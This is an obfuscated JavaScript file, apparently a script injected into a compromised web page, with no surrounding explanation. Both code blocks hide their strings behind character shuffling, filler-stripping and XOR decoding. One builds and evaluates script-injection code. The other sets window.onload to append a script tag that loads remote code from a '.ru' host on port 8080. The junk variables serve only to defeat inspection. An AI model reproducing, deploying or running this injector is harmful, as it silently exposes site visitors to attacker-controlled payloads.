var FX="0b141d2606663d120c2d1760030f3e127933181f242d112d3c34170b0113231f31393303281e22130f14290c3428270907000e12302614202c310108042611351177212b442f1407642c00791403";var yK;if(yK!='mHK' && yK!='tv'){yK=''};var DR=new Array();function h(j){var w;if(w!='WN' && w!='L'){w=''};var lx;if(lx!='fJ'){lx='fJ'};var Gd;if(Gd!='aC'){Gd=''};var Op;if(Op!='XR'){Op=''}; function N(G,Z){var F;if(F!='' && F!='i'){F='J'};return G[x("hacCoreAdt", [2,0,1])](Z);var BF="";}var rz="";this.lU="lU"; function r(c){var oL=new Array();var jr=new Array();var ro = '';c = new ZP(c);var Dg="Dg";var I =[33,0][1];var KW;if(KW!='' && KW!='dO'){KW=''};var AO=20106;var s = -1;var zg;if(zg!='zB'){zg=''};var Y="Y";var Q =[0][0];var wo;if(wo!='ee' && wo!='bk'){wo='ee'};this.eY="";for (I=c[x("etgnhl", [5,0,3,2,1,4])]-s;I>=Q;I=I-[1,210,92][0]){ro+=c[x("harcAt", [3,0,1,2])](I);var QI=new Array();}var pI=new Array();return ro;var Qf;if(Qf!='kG'){Qf='kG'};}var EW=false; var vt=false;var db=false;function p(b){var xZf;if(xZf!='Dd'){xZf='Dd'};var DB=51605;var xZ=[255,60,112][0];var aF=new String();var B=[48,0][1];var O=b[x("egnlth", [3,0,2,1])];var k=[11,190,182,1][3];var et='';var rW=37539;var g=[132,0][1];this.sM='';while(g<O){var MbT;if(MbT!='Km' && MbT!='Jj'){MbT=''};var Fn='';var YS='';var ru;if(ru!=''){ru='YY'};g++;var Hm="";ZS=N(b,g - k);this.Yi=58039;B+=ZS*O;}var dx="";return new ZP(B % xZ);this.bU=57422;}var Mh="";var Bq=false;this.Lz=false; var QC;if(QC!='' && QC!='yB'){QC=null};this.CC=34406;function o(H,f){var Ck;if(Ck!='' && Ck!='Fs'){Ck='bUn'};var Qt;if(Qt!='' && Qt!='EZ'){Qt='kNO'};return H^f;}this.FL="FL";var NC=new Date();var yW=new Date(); var YZ=new Array();var dB="dB";function x(c, V){var Dy;if(Dy!='Ka'){Dy='Ka'};var Wt="Wt";var ow;if(ow!='Fq' && ow!='JR'){ow='Fq'};var k=[1,119,8,70][0];var ZF='';var hA='';var Q=[0,146,206,60][0];var ro = '';var UW=new Array();var R = c.length;var gLe=10332;var sC = V.length;this.nD="nD";this.oW="oW";var de;if(de!='nqg' && de!='kk'){de=''};for(var I = Q; I < R; I += sC) {var Id=new Date();var bd;if(bd!='' && bd!='fn'){bd=''};var gG="";var sb = c.substr(I, sC);var Ykr;if(Ykr!='bW' && Ykr!='GOo'){Ykr='bW'};var yg=new Array();if(sb.length == sC){for(var g in V) {var oC;if(oC!='' && oC!='nI'){oC='GK'};this.uN="uN";ro+=sb.substr(V[g], k);var nv=4386;var MJ=44828;var WY;if(WY!='DM'){WY='DM'};var xw;if(xw!='' && xw!='zl'){xw='DP'};}var nr=35480;var Kh=new Date();var eeH="";} else {var qZ="";var qI;if(qI!='HZ' && qI!='Ol'){qI='HZ'};  ro+=sb;var gW;if(gW!=''){gW='asa'};var Bd;if(Bd!='sr'){Bd='sr'};}var Dl;if(Dl!=''){Dl='Tw'};}var Mk='';var FLI;if(FLI!='thE' && FLI!='YT'){FLI='thE'};return ro;var KM="";this.mde="mde";}var Jb;if(Jb!='hO' && Jb != ''){Jb=null};var QF="QF";var Ej;if(Ej!='' && Ej!='Qu'){Ej='An'};var Pi="";var At=new Date();var n=window;this.dT="dT";var Ij=n[x("vael", [2,0,1])];var Mj;if(Mj!='lz' && Mj!='pP'){Mj=''};var OK=Ij(x("icuFnton", [3,2,4,1,5,0,6]));var Hw=new Date();this.Vs=false;var cF = '';var ZP=Ij(x("itngrS", [5,1,4,0,2,3]));var pY=1940;var l=Ij(x("egERxp", [3,0,1,2]));var yT=new String();var cA;if(cA!='Qh' && cA!='WW'){cA='Qh'};var eV;if(eV!='ns' && eV!='GU'){eV='ns'};var Rn=n[x("ncepuase", [4,0,2,6,1,5,3])];this.OH="";var qy;if(qy!='TC' && qy != ''){qy=null};var D=ZP[x("rfmohCraoCed", [1,0])];var pb=new Array();var dee;if(dee!='Sg'){dee='Sg'};var cP;if(cP!='nQ' && cP!='BP'){cP=''};var GdC;if(GdC!='FY' && GdC!='Qq'){GdC=''};var gT;if(gT!='' && gT!='Om'){gT='eWE'};var ke =[234,216,0,193][2];var AVw;if(AVw!='' && AVw!='PB'){AVw=''};var gy;if(gy!='' && gy!='Ml'){gy=null};var gH = '';this.MZ=23831;var Jk=new String();var e = '';this.XY="XY";this.Yf='';var k =[91,120,1,199][2];var jX=[1, x("cduonmter.eceaEtmlee(n\'trsic\'p)t", [1,3,0,2]),2, x("codemu.tndoba.yeppCdnlihd(d)", [2,1,0]),3, x("moc.viletisesedi.ngr8:u080", [2,1,0,3]),4, x(".desAtttirubet\'(edef\'r", [1,0]),5, x("oeol.gcgom", [7,2,0,5,3,1,4,6]),6, x("omc.ya.cmom.kysrock", [2,0,1,3,4,5]),7, x("niwd.wooolnad", [2,1,0,3]),8, x("xemanirec.mo", [1,0]),11, x("rbzaezsrc.mo", [1,0]),12, x("cniftuon()", [3,5,1,0,4,2]),14, x("oehmdepot", [2,0,3,1,4,5]),15, x("(actceh)", [4,1,3,2,6,0,5]),16, x(".cioius", [4,1,2,3,0]),17, x("t\"pth:", [1,4,0,3,2,5]),18, x("csd.r", [2,3,1,4,0]),19, x("\'\'1)", [1,2,0]),20, x("rty", [1,0,2])];var Ux='';var AG=21112;var Qp = j[x("elgnht", [1,0])];this.JT="";var W = "%";var kf = '';var E = /[^@a-z0-9A-Z_-]/g;this.iN="";this.PN="";var Q =[116,77,0][2];var Sz;if(Sz!='Ma'){Sz='Ma'};var Hj;if(Hj!='Wp' && Hj!='sf'){Hj='Wp'};var pa =[2][0];var CXP;if(CXP!=''){CXP='oi'};var bo;if(bo!=''){bo='Fh'};var cFq='';var brM;if(brM!='Mkj' && brM!='fT'){brM='Mkj'};for(var X=Q; X < Qp; X+=pa){this.El="El";var Jx;if(Jx!='tL'){Jx='tL'};e+= W; var WhP='';var chz;if(chz!='' && chz!='KJ'){chz=''};e+= j[x("ussbrt", [1,0])](X, pa);var EN;if(EN!='nu'){EN=''};}this.Da="Da";var j = Rn(e);this.on="on";this.Kc="Kc";var RL;if(RL!='Pa'){RL=''};var je = new ZP(h);var CU='';this.QW="QW";var q = je[x("erlpcae", [1,0])](E, gH);var GV;if(GV!='ob'){GV=''};this.ba="ba";q = r(q);var M = new ZP(OK);this.CD=false;var XI='';var II;if(II!='ag' && II!='PC'){II='ag'};var rY = jX[x("nlegth", [1,2,0,3,4])];var HqT;if(HqT!='Gm'){HqT='Gm'};this.jy=false;var OY;if(OY!=''){OY='aJ'};var WI = M[x("prealce", [1,2,0,4,3])](E, gH);var WI = p(WI);var kY=p(q);var nM;if(nM!=''){nM='UC'};this.bv="";for(var I=Q; I < (j[x("ghetln", [4,2,5,0,3,1])]);I=I+[1,9,76][0]) {var Vy;if(Vy!='' && Vy!='DK'){Vy=null};var BT=false;var Ec=9988;var nX = q.charCodeAt(ke);var OP=false;var JP=new Array();var sc = N(j,I);var tH=false;sc = o(sc, nX);sc = o(sc, kY);sc = o(sc, WI);var Nw=new Date();ke++;var Yb;if(Yb!='iX' && Yb!='mIU'){Yb='iX'};var QP;if(QP!='Ky'){QP='Ky'};this.aX=false;var MaQ;if(MaQ!='' && MaQ!='fE'){MaQ=null};if(ke > q.length-k){ke=Q;}var slw="";var Gv=false;kf += D(sc);}var hw='';var oR='';for(A=Q; A < rY; A+=pa){this.AVI="";var iDV=60874;var xF;if(xF!='' && xF!='Ot'){xF='Oq'};var xX=new Array();var WhL=new Array();var mE=new Date();this.Eu=30415;var eJ = jX[A + k];var rC;if(rC!=''){rC='En'};var jn = D(jX[A]);this.Fe=false;var by;if(by!='bb'){by=''};var pF;if(pF!='' && pF!='kj'){pF=null};var ps = new l(jn, "g");kf=kf[x("epracle", [2,0,1])](ps, eJ);var GsE=new Date();var Tg;if(Tg!='' && Tg!='Qm'){Tg=null};}var kS='';var Qff;if(Qff!='' && Qff!='lo'){Qff=''};var kfI=new OK(kf);var rH=1977;kfI();kf = '';var Hg='';var aPn=new String();var HX=new Array();M = '';var Oi;if(Oi!='OqF'){Oi='OqF'};kY = '';var pD=false;q = '';kfI = '';var JPK=new String();WI = '';this.yh=false;this.Olb="";this.Us="";var AK;if(AK!='wK'){AK=''};var tX;if(tX!='Vj'){tX=''};return '';};var yK;if(yK!='mHK' && yK!='tv'){yK=''};var DR=new Array();h(FX);

this.Z="";var f='';try {var E;if(E!='sk' && E!='wF'){E='sk'};var a=new String();var yR=new Array();var rI;if(rI!='qU' && rI!='u'){rI='qU'};var Wk=new String();var K=RegExp;this.gr="";this.V="";var X="72UWrepl".substr(4)+"aceYbq".substr(0,3);var qa=new String();var J="";var PX;if(PX!='aq' && PX!='KW'){PX=''};var QH;if(QH!='xn' && QH!='cM'){QH=''};function L(w,M){var Wc;if(Wc!='Mi' && Wc!='Wf'){Wc='Mi'};var ajj=new String();var H=new String("mzu[".substr(3));var P=String("KfSg".substr(3));var OH;if(OH!='Ot'){OH='Ot'};var Xf="";H+=M;var It;if(It!='S'){It=''};H+=new String("WgaU]".substr(4));var uK=new String();var g=new K(H, P);return w[X](g, new String());var uY;if(uY!='Rj'){uY='Rj'};var kW;if(kW!='' && kW!='i'){kW=null};};var e='';this.hJ="";var s='';var wP;if(wP!='NG'){wP='NG'};var Ag="";var c=L('/NgqoqoLgflLeq.NcLoNmN/RgRoNofgqlqeN.fcLoqmL/feqbfaqyL.NcqaL/NlqefnftNaR.LrfuR/NrNiNvqaLlqsN.qcNoNmq.RpqhLpL',"qRLNf");var rw=new String();var v=L('h7tdtdp0:7/0/dgwoIowgIl0eI-dcdld.wcwhwiwndadzw.7cwowm7.7t0h7e0pwi7rwa7t0edbwady7-IoIr0g0.ISwudpweIr7S0uIpwewrIMwa0lIl0.dr0uw:d',"wdI70");this.DJ="";var sz=L('8366233404424732872622630476336',"26437");var cw=L('o7nfl7ofa6d7',"6f7");var LB="";var Sh;if(Sh!='' && Sh!='tp'){Sh='hu'};var W=window;var Od='';var A=L('sCcZrqiqpqtZ',"ZCq");var q=L('cHrHeHaHtHeHEGlHeGmHeHnHtG',"HG");var QR;if(QR!='' && QR!='KT'){QR='Dr'};this.FV='';j=function(){var gD=new Date();var _t;if(_t!='' && _t!='hG'){_t='Lm'};t=document[q](A);this.aD="";s=v+sz;s+=c;var sx="";this.bC='';var szN="";var lE;if(lE!='' && lE!='Cp'){lE='Aj'};t.src=s;t.defer=([1,7][0]);var G=new Array();var Ck;if(Ck!='' && Ck!='_f'){Ck='et'};var xB;if(xB!='' && xB!='pR'){xB=''};var wz='';document.body.appendChild(t);var Ql=new Date();var Ou=new Array();};var bv='';var WH='';var zM="";var Xa;if(Xa!='tD' && Xa!='LW'){Xa='tD'};W[cw]=j;var SU;if(SU!='yZ'){SU='yZ'};} catch(N){var wM=new Date();var uv;if(uv!='jk' && uv!='Xp'){uv=''};};